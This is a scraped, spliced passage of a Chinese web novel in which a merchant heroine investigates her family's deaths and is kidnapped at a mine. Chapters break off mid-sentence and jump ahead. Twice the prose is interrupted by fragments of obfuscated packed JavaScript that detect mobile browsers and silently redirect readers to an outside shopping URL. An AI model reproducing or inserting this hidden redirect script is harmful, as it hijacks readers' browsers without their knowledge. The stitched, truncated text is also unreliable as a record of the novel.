陆清和点头道:“以剑为证。此剑自幼随我身,若我食言,你可以拿着这柄剑去北瑛王府寻我父母,称我二人两心相悦, 27. 青鬼 《钓系掌柜只想逢场作戏》全本免费阅读 谢辛辛从未见过这样的山。 莲州少高山,多丘陵,她只见过矮矮的小山丘,漫山遍野的紫堇花和番石榴,茶农在山坡上种高低层叠的茶树,风过时,浅青浓翠像湖水绿波一样俯仰。 而矿山只有稀稀拉拉的植被,像绒毯一样低矮的劲草紧紧扎于黄土上。比绿植更多的是泛着血色的山土截面。 走在山路上,两边锈红的土坡像浸着血一般,看得她有些心慌。 联想起方才忽然消失的矿丁影子,她不觉向陆清和贴近了一些,找个话头起话道: “你上回提到郭知州……” 陆清和睨了她一眼,笑意中有些揶揄:这回愿意说了?先前不是一口咬定自己与郭知州无干么? 谢辛辛看懂他眼里的意思,低下声道: “先前你也没说你是冲着‘嫁祸’宣王府来的,我怕横生枝节……现在知道了我们目标一致,我替他为王负翻案,你把罪名推到宣王府的头上。我也不必瞒着你。” 迎面一道小土坎,陆清和向她递去一只手背,她也极自然地搭上,借力迈了过去。 陆清和道:“他又是用了什么好东西,和谢小掌柜交易的?” 不知为何,谢辛辛听着这话总觉得有些阴阳怪气,像是在怨她之前把他们二人之间的合作总说成“交易”。 她衡量了一下轻重,说道:“是谢家案的卷宗。” “我本不该告诉你,只因此事可能与你的主家还有几分关系。” “我的主家?”陆清和皱眉:“……北瑛王府?” 她深呼吸了一口气:“是。” “不过你想想,谢府的火烧得离奇,官衙无所作为,幕后之人必是有滔天的势力。因我爹娘一直倾财支持宣王府,谢家落得这个结局,宣王府必然也不愿意见。” “我谢家倒了,宣王府失去一个交好的豪商富贾,谁是受益最大的呢?” 说到这里她停下来,等着陆清和接话。 可他忽然停下脚步,锁着眉一语不发,她便自己接道:“正是宣王的死敌,北瑛王。” “若能拿到卷宗,我便能想办法证实这个猜想。” “你为何不说话?”她偏头,问,“我有何说的不对的地方?” 他摇了摇头,继续向前走:“你分析得对。” 逻辑清楚,思路正确,让他不禁怀疑,谢府的案子是否果真有父王或大哥的手笔? 得到认可,她接着道:“本来我不愿意和你说这些,但想着,我们既已是一条绳上的蚂蚱,到时若真去了云京,我要在北瑛王府上找我的仇人,也许还需要你帮衬我一些。” 谢辛辛从腰间围带上抽出短剑,依旧是用素绫缠得结结实实。 陆清和任凭她拿裹着绫布的剑尖抵上他的胸口,悄悄用负于身后的手按下阿凤。 谢辛辛拿着剑锋在他心口画了一个圆,笑道:“你不会背叛我的吧?” 陆清和想到父兄,想到北瑛王府,只觉得自己对此无法保证。 一时不知怎么回应,只抬手将剑刃缓缓压了下去,道:“剑不是这样握的。” 说罢,将自己的手掌覆上她执剑的手,帮她微微调整了姿势。 谢辛辛猛地抽回手来,捋了捋鬓角的碎发,只说:“那你下次再教我就是了。” 于是她收了剑,转身闷头向前走,走了两步才听到身后阿凤叫她: “谢掌柜,走错了,矿洞在另一边!” 她又转过身来,闷声道了声知道了,像个气冲冲的小牛犊,低着头走了回来。 气什么呢?谢辛辛也不知道。 气他趁机摸了自己的手? 可她对他什么过分的事没做过?甚至还给他下过玉肌香。 退一万步说,哪怕是为了寻仇,她都存了要与他成婚的心思,摸个手有什么大不了。 她只知道自己很抗拒这种感觉。仿佛只有她撩拨陆清和的份儿,还轮不到陆清和自己走近她。 若主动权从在她手上,她便有把握守住自己的心。 转过一道弯,远处传来呜呜之声,似风声又似人声。 走近一看,萧索的树干上挂着几片招展的白布,应是生者为在矿难中丧生的死者所布置。 树下跪坐着一个矿工打扮的在哀悼,唉声叹气地用黄纸折着元宝。在他之后,一道黑漆漆的圆拱洞口浮现在眼前,洞孔深处似乎被碎石掩埋。陆清和说,就是这了。 跪着的人呜噜噜地低声哭。 阿凤上前拍了拍他。这人抹着鼻涕一转头—— 竟是老熟人! “……黄三?”陆清和迟疑道。 黄三转过头来,泪眼朦胧,“……恩兄?你怎么在这里?” 冤家路窄,阿凤不动声色地往二人身后缩了缩,生怕黄三发现当街殴打他的正是他“恩兄”的小侍从。 “我……”陆清和紧急回忆了一下当时他与黄三侃天地时,给自己捏造的人物背景。 若记得没错,当时他说自己是莲州商户,因行商走货来到邺州。 陆清和道:“上回从黄三兄处听说了矿洞坍塌的玄机,心有不忍,特带妻儿前来悼唁亡魂。” 妻儿? 谢辛辛与阿凤对视一眼,默契地贴近了些,稍显亲近。 黄三闻言,更加泣不成声,嚎啕大哭:“恩兄啊……兄弟们被活埋在洞里,王头儿又被无辜关在大牢里,这个孟安却还好好的……” 说到孟知监的名字,他忽然惊恐地捂住了嘴:“说不得,说不得,在此处说不得。” “此处?”谢辛辛看了看四周,“有何特别?” 黄三将一根指头放在唇上,小声道,“此处是孟知监的矿场。他手下有一批工人唯他是从,脸上刺着大青,凶悍得很!” 谢辛辛像听神怪故事一般,一时给说愣了,道:“你说的这个孟知监,是我们知道的那个孟安孟大人吗?他瞧着哪有这么厉害?” 他们所见的孟安,明明书生模样,恭而有礼,抱拳作揖的时候恨不能把身子低到地上。俗话说礼为情貌,这样一个人,能养出一批唯他命是从的凶将? 纵是性格强势的孟夫人,也有能说出“读书可修身救国”这话的涵养,更不像是做这种事的。 黄三急道:“怎么不是,他若没有这 28. 中计 《钓系掌柜只想逢场作戏》全本免费阅读 鬼祟之人拔腿而逃,迅速隐匿在丛丛灌木之间。 阿凤兔起鹘落,跃上就近的树杈,脚尖点在一节干枯的树枝上,竟然只是让枝条微微弹动了下。 黄三啧啧称奇:“恩兄,果然是虎父无犬子!” 从高处俯瞰,更易看清在灌木丛中跑动的身影,阿凤猛地跃下紧随其后。两人在矮灌木中掀起两道绿浪,很快飞出了几人的视野。 “练家子啊。”黄三挂着鼻水看呆了,“恩兄,这是怎么教的,你也教教我呗。” 陆清和摇摇头。 他哪里知道怎么教? 阿凤是四姨娘向父王讨来送给他的,既是亲仆,又是贴身护卫,一身的童子功。每回问起阿凤的出身,他只记得小时候在北瑛王下属军队里受过照顾,别的都一概记不清楚。 没等到阿凤回来,远远地就听到枕书的声音,气喘吁吁地喊着: “陆二公子,十万火急,王负……王负!” 黄三比陆清和还紧张:“王头儿怎么了?” 枕书吸足了气,大声道:“王负醒了——!” 瞬间千万思绪从谢辛辛心头闪过,她看向陆清和,拧眉道:“王负醒了,是好事,枕书为何这样焦急?” “孟知监若是陷害王负的幕后黑手,为何第一时间想着来通知我们?” 陆清和才要说话,枕书高喊道:“姑娘,公子,别聊了!慢不得!速去当直司!” 几人不明所以,只是被枕书催得也紧张起来,急匆匆便要下山。 黄三看清了眼前之人是孟安身边的枕书,惊疑地看着几人:“你们,和孟安的手下认识?” 说着便要尾随而去,被枕书拦了下来道: “黄三,当直司是什么地方?你跟着也进不去。” 黄三当即一怒,骂道:“你是什么东西,孟安眼前的一条狗,也管到你黄爷爷头上。”于是伸手跟他拉扯。 枕书瘦弱,被黄三拽着衣领不让走,又全然不是黄三的对手,又气又急:“陆二公子,这事重大,若去晚了王负可不一定成了。你有什么话要问他,也就这次机会了!” 谢辛辛听他说得严重,从腰间抽出昨天才拿到的这把剑来,直直指着黄三的太阳穴: “黄大哥,我劝你先听他的话。” “陆……我家夫君,于你有恩,你对你的王头儿有什么话要说,让他代为传达即可。” 黄三被剑指着,一时愣住了,陆清和对他点头,道:“黄兄,信我。” 黄三咬了牙,眼睛一闭,松开了枕书的领口:“恩兄,我不知你和孟安有什么关系,但你救过我,我且信你一回!” “帮我跟王头儿说,他娘好好的,我替他照看着,让他定要坚持到沉冤昭雪那天!” 见陆清和应下,枕书忙带着他就要赶路,却忽然想起什么,扭头道:“姑娘最好也不要跟着了,那当直司里的重犯都是多久没见过女人的,都如虎狼一般,到时污了姑娘的眼睛耳朵。” 谢辛辛犹豫了一瞬,就听陆清和道:“你在这等阿凤回来,我们家里见。” 她有些不愿。污言秽语,有甚可在意? 但思及阿凤,又不想让他回来时一个人也不见了,终还是留了下来。 陆清和随着枕书匆匆走远,一阵风似的,留下她和黄三两个人大眼瞪小眼。 她将剑重新包进绫布里,移开目光道:“刚才多有得罪了。” 未想到黄三毫不在意,摸着后脑,比她更不好意思:“没什么,也是我莽撞了。嫂子出手是因为心里急着帮我恩兄,知道嫂子对我恩兄好,我也放心。” 这人和陆清和总共没见过几面,说起话来倒已经兄弟情深,倒是个憨直的。 谢辛辛想到之前同阿凤、陆清和合伙坑他白挨了一顿打,心里不免有些愧疚,不顾他口中叫的是嫂子还是别的称呼,向他做了一礼。 忽然一阵草动,谢辛辛警觉:“什么人?” 黄三很有义气地将她挡在身后,上前查看一番:“可能是山兔子,嫂子别怕。” 谢辛辛:“……其实你可以不用叫我嫂子。” 她总觉得不安,像有什么东西窝在草里伺机而动,遂学着陆清和的样子,默默将剑藏进袖子里,转头往后摸索着。 “嫂子这话就见外了。”黄三在她背后,朝反方向张望,一边哇呀地说着话,“黄三我别的没有,就是讲个义气。我是个外地的,当年刚来矿场做活,听不懂他们邺州人说话,总被他们笑话,也就王头儿顾着我,要不我连饭都要被别人抢去。” “从那之后,王头儿就是我大哥……当然了,恩兄也是我大哥,他们都对我有恩。那话怎么说来着,知恩不报枉做人啊!” 谢辛辛没有回头,谨慎地盯着远处,敷衍地应,“有恩报恩,有仇报仇。” “嗐,说得对!这做人呐,就是要快意恩……” 这最后一个字突然没了声音,一句话兀然中断在风里。 谢辛辛回头——眼前空空荡荡,黄三这么大个汉子竟然凭空消失了! 视线往下挪了挪,才看到黄三的布靴漏在一边的草丛外,倏地一下,又被什么东西拖了进去。 “谁……?” 后脖颈一阵厉风,谢辛辛只觉得脑后一阵剧痛,顿时失去了意识。 …… 大狱门后散发着昏沉腐朽的气息。 枕书恭敬地退后,孟安站在精铁铸成的大门前,发现二人后忙迎了上来。 陆清和眼皮忽地一跳,无端想到留在矿山的谢辛辛。 孟安面如土色,不顾礼数,上前挟着他便往前走:“陆二公子,快请。” 他收回思绪,问道:“细说。” 孟安低声道:“王负在西面最里面那一间,徐知监……已经到了。陆二公子见谅,孟安只能帮你到此处。公子请快些,晚一步,或许王负就又醒不过来了。” 他说的含糊,像有难言之隐。陆清和听罢也不与他猜谜,快步步入狱门。 只是据此言来看,王负此前一直昏迷不醒,竟然不是单纯受不住刑的缘故? 一阵恶臭扑面而来。 狱中阴湿,越往里走,空气愈发臭不可闻。 刑犯们见一个白面秀美的男子来到此处,肮脏叫骂之声登时不绝。下流好事者吹起口哨说着荤话,牢头倦怠地抬一眼,象征性制止几句。 陆清和眼耳不动,如玉佛一般,清风似的径直向西间而去。 当直司只挂钩邺州衙门,下辖的监狱并不受提点刑狱使司的掌管,因此管理也颇为混乱,既无民军之分,也没有因罪责轻重分开管辖。 牢头懒得管事,实属正常。 对于本地人来说,进这样的州狱当个牢头,也算是得了个肥差。上无人管理,尽可以偷奸耍滑;下又可以对牢犯作威作福,随意笞打。 若犯人有亲属,还可以极尽敲诈勒索之事,捞尽油水。 而对牢犯而言,和被牢头、重刑犯的精神威吓比起来,溺便粪水、溃腐皮肉等混杂在一起的腥臭、角落与牢犯共生的蜚蠊老鼠等外在环境,似乎都不足为道。 可见若进了当直司下辖州狱,不死都算好的。这个王负若真如黄三所言,受孟安陷害入狱,想必已恨极了孟安,问起话来定知无不言。 既然如此,孟安为何如此积极寻上自己? 转过最后一个 29. 旧怨 《钓系掌柜只想逢场作戏》全本免费阅读 “没用的东西!” 徐知监捂着牙,骂骂咧咧地爬起来。 牢房里头被骂的人应是他的仆从。这人此时晕头转向,四处摸着酒壶,嘴里还不住说着大人饶命。 “饶命?”徐知监朝他啐了一口,“我饶你的命,谁饶我的命?” 仆从终于摸着了酒壶,跪下双手奉上,磕头仍是道:“大人饶命!” “呸。”徐知监接过来,掂量着壶身道,“哟,一点儿没洒,连个壶都比你有用。” 跪着的人不敢说话,只低着头。 徐知监道:“我看看他丢了个什么把你吓成这样?暗器?火药丸子?总不能是只老鼠吧?” 谁成想,走近一看,地上茅草堆里斜插着一根褐色的长条。 竟然是一根普普通通的树枝。 徐知监气极反笑,将树枝捡了起来: “好……好!一根桂花枝,就把你诈成这样?” 地下的人连磕三个头,将地上扑的草磕得四处乱飞,哭道:“大人,奴才哪知道有人随身带个树枝呢!长的像毒箭似的。” “难道是毒箭你就该躲?” 说罢,徐知监眼珠一转,忽然温和道:“也罢,你抬起头来看我。” 那仆从以为得了赦,用膝盖在地上爬过来,感激涕零地抬起脑袋。忽然下巴一紧,被徐知监狠狠掰开,一股呛人地烈酒就从喉间惯了下去。 “啊……啊……!”仆从反抗不及,只能张着嘴发出怪叫。 徐知监将手中的酒全部灌进他嘴里,就将他头甩开,砸在了牢房的栅门上。 那人知道自己喝下的正是蚀心散,整个人瘫在门上,发出绝望的哭声。 “哭什么?阎王爷问起来,就说是孟安杀的你。”徐知监拍了拍手上的灰尘,“废物,快点死,算你将功补过。” …… 将王负搀扶着出了大牢时,孟安和枕书已经不见踪影。没走几步路,陆清和肩上一沉,王负又昏倒在他身上。 陆清和试了几次叫不醒他,只得叫了辆车将王负抬了上去,一路往小院赶。 “麻烦尽量快些。”他道。 也不知谢辛辛和阿凤回家没有。 车夫头发花白,身态伛偻,应道: “得嘞,您坐好。” 来时匆忙,无暇顾及四周,待到坐在马车上,陆清和才发现邺州城区也是人来人往。 只是这人群往来中,充斥着街头要饭、乞讨葬父的哭声,头发乱的像鸡窝的小孩子在街头窜来窜去,冷不丁就拽走哪个行人的腰包,一追一逃,于人群间横冲直闯。 他不禁问:“老人家,为何街上如此多的流民?” 车夫回头朝帘子里看一眼,见客人通身气度,摇了摇头,又转过去,道:“庄稼收成差,吃不上饭,只能出来讨口子。” 听他似乎不愿多说,陆清和也不再问。 一路沉默到了院门口,见门上没有落锁,他心微微落下。 心中虽然挂住的是另一个名字,出口的却还是: “阿凤!” “公子!” 木门打开,阿凤露出大半个身子:“我追到矿山一处工地里,跟丢了,回来不见你,料想你有急事,就先回家等你。” “我见将王负带了出来。”陆清和将昏迷不醒的王负抱下来,吩咐阿凤收在院中照看,又问,“谢小掌柜呢?” 阿凤道:“她没有和公子一起吗?我回来找公子你的时候也没看到她。” 陆清和皱眉,面色微沉,问:“黄三呢?” 阿凤摇头道:“也没看见。” 胸腔中,一颗心脏剧烈跳动了起来,陆清和喉结微动,声音有些嘶哑: “不好。你是被人故意引开的。” …… 谢辛辛不知道自己倒在哪里。天旋地转中,她似乎又梦见了谢家失火的那一日。 只是这次,她似乎离着火的谢府更近了一些。 “爹,娘。” 她向火中走去。 火舌燎着她的头发,将她的头脑烧得滚烫。 起初谢辛辛只觉得后颈痛得要命,鼻腔里一股尘土味儿,眼前则是昏天黑地。 她缓了好一会儿才有了方向感,发觉自己的面朝下被扔在地面上。 不远处传来几个男人交谈的声音。谢辛辛试图活动四肢,发现自己双手被捆在一起,只能勉强翻了个身,脸朝着上方,眼皮才透出些光来。 “嫂子,嫂子。”黄三的声音从另一边传来,“你醒了吗?” 她挨了一记打,头脑像灌了水泥似的沉重,一时不愿意搭理黄三,低低地嗯了一声。 黄三急道:“嫂子,你睁开眼看看啊,我们被绑架了!” 她才缓缓睁开眼皮,尽力地看了他一眼。 他们二人被绑在一个简陋的营帐里。许是因为黄三挣扎得厉害,他身上的绳索远比谢辛辛的多,双手双脚都被绑着,整个人叠成一个粽子形状。 她撑着一口气,道:“我知道,你先别说话。” 说罢闭起眼睛,细细地辨起帐外的声音。 黄三见状,莫名从她身上看到一丝恩兄从容自若的影子,闭上了嘴,只是心里还是七上八下的。 她忽然又问:“你知道这是哪吗?” 黄三说知道,这是铁矿场的人睡在工地的帐篷,他们应当是被绑在矿场里。 待脑子里的思绪一点一点沉静下来,她忍着疼痛,默念道,人无绝境,事在人为。这几年,她就是凭着这口气坚持下来的,被绑架算什么? 晕倒时候的梦境提醒了她,一切磨折,都是为了找到仇家。 帐外的人笑道:“几个人,就那孩子一个能打的,一钓就钓走了。” “只可惜,那个公子哥不知道去哪了,我们出手的时候,只剩下这俩。” 另一个人声音严肃:“要抓来这么多人做什么,绑这个女的就够了。” 其他人道:“怕什么,横竖都是赌命。若有什么问题,女的杀不得,这男的还能当人质。” 人声混在风声里,谢辛辛努力听清每个字,理着思绪。半晌,她突然说道:“黄三,你别叫我嫂子了。” 黄三疑惑道:“啊?为什么?” 谢辛辛道:“他们要抓的是我,不会害我。你想个与我更亲近的关系,不然我难以保你的命。” “比如你可以是我亲哥,若他们要杀你,我就撞墙。” 黄三吓了一跳,却还是道:“不行,你是我恩兄的媳妇儿,我叫你妹妹,占便宜。我是你弟弟吧,怎么样,姐姐?” “……也行,你还挺讲究。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12823560|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢!”谢辛辛急了,忍不住锤了他一拳。 “问你话,又不回答,总是这样故作玄虚的。若是不喜欢,也无妨,若卷宗写着北瑛王府有嫌疑,端的是影响不到我们从前约好的事情……” “茗琅跟我说了,她把账本藏在谢家从前相熟的一家钱庄老板那里,我本人去了就能取。等我从郭知州那儿看了卷宗,回玉春楼里,第一时间就把账本……” “喜欢。” “……就把账本交到你手上,到时候我便算是……什么?” 她说了这许多,耳边好像有一阵轻若蝴蝶振翅的声音掠了过去。 她又问:“你说什么了?” 陆清和却笑着道:“听不清便算了。” 谢辛辛可不饶他:“你方才说喜欢了,是不是?” 这人的耳根分明泛上粉红,却还是侧过头去,低低道:“没有。没说。” 谢辛辛凑到他脸前,将信将疑:“真的没说吗……” 一双明艳的杏眼在陆清和面前闪着微光,陆清和一闪念,就要张口。 还未等他吐出下一个字,谢辛辛便丧气地坐在了自己的位子上,“没说……没说更好……我哪里是在期待你说呢……” “起初要你喜欢我,不过是郭知州给我指的路子,说若得了你的心,之后吹吹你的枕旁风,好让王负那小子脱罪更容易些。” 陆清和的喉头动了动,终还是把后面的话咽了下去。 谢辛辛没察觉什么,自顾自赌气道:“若早知道你办案是严明的,不会那样轻易给王负定了罪,我哪里会那样上赶着绕着你转?你若没说……更好。现下我也不需要你喜欢我了。” 她将脸埋在手里,像是要午憩一般,默默将头靠在了车厢的窗沿边。 什么心中的花啊草啊,也都睡着了,不再在心尖的肉里蛄蛹。窗外的声响好像也都微弱下去,只有怀里的药包硌着她的身子,让她不甚舒服。 陆清和沉沉地看着她。 起先他着实有那么一霎觉得自己应该面对她,喜欢就是喜欢,有什么可不好意思的,她没听清,再说给她听一遍便是了。 可…… “……现下也不需要你喜欢我了。” 他忍不住将这句话拿在心里,翻来覆去地琢磨。 也是,自己何时又见过她的真心呢? 她若只把自己当做报家仇的一个跳板,一柄利刃,他又何苦用儿女情长给她徒增烦扰? 更何况,她的仇人若是北瑛王府,自己将如何面对她? 可她的仇人若不是北瑛王府,她又无须履行约定嫁给他。 大不了他只做她的跳板,在她要去的方向载她一程。 若是有幸,再做她手里的剑任她挥砍。 待她复仇之后,他再去朝堂上做他所向之事。于自己的心意而言,难道不算是一种圆满么? 这么一想,陆清和豁然开朗,淡淡地说了一声:“若是不嫁也无妨,莫要影响了你的计划。” 谢辛辛掩着脸不动,也不知听到不曾。 又没过一刻,阿凤停了车,向身后喊了一声到莲州衙门了。 谢辛辛便倏然起身,掀开帘子走了下去,头也没回。 49.假定案 等衙门一层层通传下来,天色都暗了。昏黄的风吹过来,谢辛辛只觉得一颗心摇摇荡荡的,上够不着云,下踩不着地,竟像是晚风里一只断了线的风筝一般。 但她不愿意承认这风筝线是被谁三言两语剪断的。 事到如今,情事上再迟钝的姑娘都应该明白了自己的心。 但说来也奇怪,若她仍似从前那般心无二念,此时大可以逼问他藏藏掖掖什么,亦或者什么叫“不嫁也无妨”,死皮赖脸地非让他说让自己满意的话才肯罢休。 可今日她不敢这样。 或许是因为问心有愧。 她是谢辛辛啊,玉春楼说一不二的谢小掌柜,昔日莲州谢家的大小姐,身上还背着报仇家恨的担子,怎能把自己的“风筝线”挂在别人身上? 正要收起自己的心思,提醒自己莫要在虚无缥缈的感情上浪费时间,大门口就来了个衙卫传:“谢掌柜跟我走吧,郭大人在里面等着呢。” 她漠然跟上,一个恍惚,忽觉得眼前这人高高瘦瘦,有些眼熟。 乍一眼看去,不免失声道:“胡捕快?” 衙卫一愣,紧张地摸了摸后脑:“什么?我们这没有姓胡的捕快。” 再一细看,才觉得此人与胡捕快只是身形相似,五官大不相同。 谢辛辛眨眨眼睛,“抱歉,认错了。我与之前不幸遇难的那位捕快有一面之缘。” 衙卫脸色肉眼可见地仓皇起来:“可不敢说,可不敢说。” “衙卫大哥,你慌什么?”谢辛辛觉得可疑,“是又发生了什么事?” 这衙卫一心想跳过这个话题,见她不依不饶,只能小声快速地将前情同她讲一遍。 原来衙门里面这位郭知州,一向爱信神鬼卜问之说。 官衙之地,陈冤断案,难免生煞气,弄些石狮子、风水镜之类的辟邪是常有之事。而郭知州来到此地任职之后,迷信之风更盛,但凡出个什么见了血光的案子,就请了道士占卦驱邪,往往三天两头的祭神拜佛不消停。 再加上胡捕快之死,外人看来又是奇凶之诡事,这郭知州巴巴地请了据说是极灵验的大师来算了一卦。 大师一算,说这位蒙难的胡捕快是百年难见的煞孤星,天生大凶之象、害人之命,谁和他做同事,谁就官运倒霉;谁做他的老婆,就要穷困一生。 郭知州一听,只觉得近来确实仕途多有不顺,再一看那胡捕快的夫人,确实背晦倒灶到了极点,平白被人欺侮不说,跟了胡捕快之后,什么苦都吃了。 衙卫带谢辛辛转过了几门影壁,和迎来的同僚们打了声招呼,才接着道:“这大师说,胡捕快之死是天上的星君看不过煞孤星继续降害世间,特特地前来收他回去。这是郭知州在莲州为官,给莲州带来的福气。” 要不怎么说这大师格外神通呢,桩桩件件都说在了郭知州的心坎上。 据这大师所言,这位胡捕快的名字自带煞气,接下来不可再提,尤其是在衙门里面,以免煞孤星阴魂不散,盘桓不去。 谢辛辛冷笑一声:“荒谬。这哪请来的大师,我看是江湖骗子吧?” 衙卫长长地噫了一声:“据说这大师给郭大人在外头的小儿子算过命,准得很呐……哎!你小心点啊!” 谢辛辛平地一个踉跄,险些没被自己绊了一跤。 给王负算命? 不会是那位莫名其妙将自己引荐到郭知州面前的老熟人吧…… 一股气就横亘在她喉咙里,不上不下的。这所谓“神通”明显是坑蒙拐骗,可自己恰好又因为这“大师”得以今日前来察看家仇卷宗,不可不说自己似乎也得了这位大师的好处,若要声讨他,她谢辛辛倒显得没有立场。 但这大师说的又实在不是人话。她一时气闷,再没言语。 衙卫自然乐得不谈,接下来一路沉默,送她到郭知州面前便退下了。 谢辛辛抬眼一看,郭知州笑眼立于身前,头顶赫然架阁库三个大字。 她还没张口,郭知州倒好声好气先向她做了一礼: “多谢谢小掌柜。小子已向我来信说明原委。” 谢辛辛摆摆手,在意的却是:“王负醒了?” “是,依他信中所言,应是余毒未清,正在他娘……”郭知州顿了顿,“在王娘子处休养。” “我知郭负他此番凶险,却未想到那徐长庚如此心狠手辣。听闻你还险些被匪徒绑架了,谢小掌柜,这算我额外多欠你一个人情。” “匪徒?”谢辛辛淡淡道,“世子没跟郭大人说这群匪徒是哪儿来的?” 郭知州一愣:“什么?” 他很快反应过来,捂着耳朵道:“我不知道,但若世子殿下没知会我,我也无须知道,谢小掌柜你莫要告诉我了。” 谢辛辛冷哼一声。 这便是为官者的处世之道。 见她无意再多说,郭知州才把双手从耳边拿开,笑呵呵道:“谢小掌柜且在这等着,我去将你要的东西拿出来。架阁库乃机密要地,闲人免进。” 谢辛辛点点头,不置可否。 为了这一日,她奔波了许久,也期待了许久,没想到将要拿到谢府案的卷宗之前,自己的心情会是这般平静无波。 她不知道卷宗里写了什么,也许什么有效的信息也没有。到时候她要怎么办呢? 可哪怕是有,曾经富甲一州的谢家也回不来了,爹爹娘亲也回不来了,自己那匹骄傲活泼的小马也回不来了…… 好像谢家没了之后,她那一颗可以没有负担去喜欢什么东西、什么人的心,也就没了。 架阁库的大门一开,立时有股淡淡的焦味传了出来。 谢辛辛只是鼻子动了动,对衙门怎么打理这地方不感兴趣,因而未放在心上。 许是因为架阁库文书众多,郭知州进去了很久,似又与库中录事说了一会儿话,才将一封折叠子带了出来。 谢辛辛没有多话,接过一看,上书“开真九年第壹佰贰拾柒号谢府走水案”,便深吸了一口气。 就要将这封文书揣进怀里,郭知州忙一迭声地拦下她: “官府公务,给你看一眼已是破例,怎可带走?谢小掌柜在这里看完便是,我即刻还要将它还回去,免生事端。” 谢辛辛讷讷道:“我……” 这一打开,里头的内容关乎她去哪里、怎样去寻找仇人,或将要影响她后半人生的线路,她还没有做好准备。 郭知州不住地用眼神示意她:“快看吧谢小掌柜,趁现在还没什么人经过。” 她一咬牙,猛地打开—— 开真九年六月廿七未时末刻,谢府无故走水,延烧六时辰不止。 谢氏举家遭焚,尽成灰烬,唯谢府嫡女及一女管事,因出府核查账目得免于难。此外,满门尽殁。 …… 书录此事的官员笔记清晰,用一纸笔墨细腻的蝇头小楷,流畅地写下这段案情。 在读这几行字的时候,谢辛辛只觉得自己的心空跳了一拍,此后只觉得麻木,甚至难觉悲痛,顺势看了下去—— …… 经有司审讯查正,是日,谢府除北瑛王府遣使造访外,并无他客登门。北瑛王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872543|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府使者亦已于火发前离去。 …… 因北瑛王府使者以返云京,上书京衙与大理寺协同,未果。 姑以意外之事故论,定案如斯。 没了。 没了?! 谢辛辛将这封文书翻到背面一看,一片空白。 真没了。 除了北瑛王府四个字稍显突兀,一整封折叠子,再没有任何她不曾知道的信息。 “就这么没了?” 她难以置信地看着郭知州,“官府的文书就如此草率?” 郭知州局促道:“这……衙门记事,简明扼要即可。” 她急道:“可这根本没有查出什么啊?郭大人,昔日你对我言,此案详情衙门一直记录在册,如今就拿这个东西糊弄我?” “不是我糊弄你,你小声些!”郭知州急得要去捂她的嘴,“那当时我下一句怎么说的?我说‘不是无人查,而是,衙门不能查’,事关王府,你听懂了没有?” 说完,郭知州发现自己被小姑娘一双眼睛黑漆漆、直勾勾地盯着,忽觉后背凉凉的一股死意,忙撤了捂嘴的手。 他一把夺过谢辛辛手里的折子,后退三步清了清嗓子,“看完了我就拿回去了。” “郭大人。” 身后女子叫住了他,声色如冰。 郭知州回头,无端不愿意再看她的眼睛。 “我只希望郭大人给我个明话,我爹娘的死,和北瑛王府有关,是也不是?” “这……”郭大人为难地撇开目光,“要我说,自然是未必,但也不全无可能……” “你!” “哎哎,别嚷!别嚷!”郭知州求助般地央她,“再如何,这卷宗也是我偷偷拿给你看的,你难道想把事情闹大?这架阁库是什么样地方,也容你放肆?” “那老道士这几日还要来这儿做洒净仪式,驱邪避凶,眼下正是最该清净的时候,你别在此时此地找我的晦气。算我求你了谢小掌柜,有什么话等咱们出去再说,行不行?” 谢辛辛呸了一声:“什么狗屁洒净仪式,这种东西亏你也信!” 但到底不再吵嚷,还是让郭知州把东西还了回去。 郭知州如蒙大赦,拿着文书一溜烟地跑进库里,留谢辛辛一个人在外平复心情。 她神情不忿,一呼一吸,胸腔起伏不定。 早知官衙无为,却未想这么无能! 但所幸她看到了北瑛王府……好哇,还是北瑛王府。 一想到北瑛王府,陆清和长衫玉立的形象便又显现在她心里。谢辛辛只觉得周身渐渐地冷了下来,头先摇曳不定的心似乎也被一阵秋风吹过,一地荒芜。 郭知州再出来时,变见着她已经完全像变了一个人似的,神色平淡,眉眼恭顺,绵绵地看着他。 他心里有些发毛,一步一步凑上去,“谢小掌柜,你还有事吗?我这有些老道士送的香烛符咒,你若需要,拿几个回去烧了安神?” 她现在几乎听不得“烧”这个字,眼皮一跳,仍是勾了勾唇,嘴角虽弯却不显笑意,道:“无事。但,方才听你说架阁库周围还要做洒净仪式,我想问问这老道士可是我见过的那个?” 郭知州便道正是,“他很有些本事,你见过的,应当知道,当初替我儿所算之事几乎一字不差。前几日才来点香烛,焚符咒。只是架阁库内文件众多,不可见火光,因此架阁库内只能做洒净仪式,先洒净水,再通风祛邪……” “噢?”谢辛辛挑起眉毛,“这么说,我怕莲州官衙的架阁库闲人免进,但道士可进?” 50.桂花令 郭知州有些惶然:“这道教是我朝国教,这样神通的先生,进宫封个什么真人大仙的也不为过,怎算是闲人呢?谢小掌柜慎言。” 谢辛辛上下打量了他一眼,深觉此人乱信入脑,说不通了,摇摇手道:“郭大人说的是,只是我还有一求。” “先前与那道士一面之缘,他说我此后或有牢狱之灾,当时仓促,未向他求避祸之法。今日听你说他如此灵验,不知郭大人可否为我再引荐引荐?” 总算想起这一茬了。 谢辛辛从来没把卦象什么的当真,但拿此事来当个引子却不错。 郭大人喜道:“那是自然,说到底你也是为了我儿,我怎好推辞?下回请他来替我打醮之时,我记得派人来接你便是。” 谢辛辛得了这个话,也不再客套,垂了眼睛就告退下去。 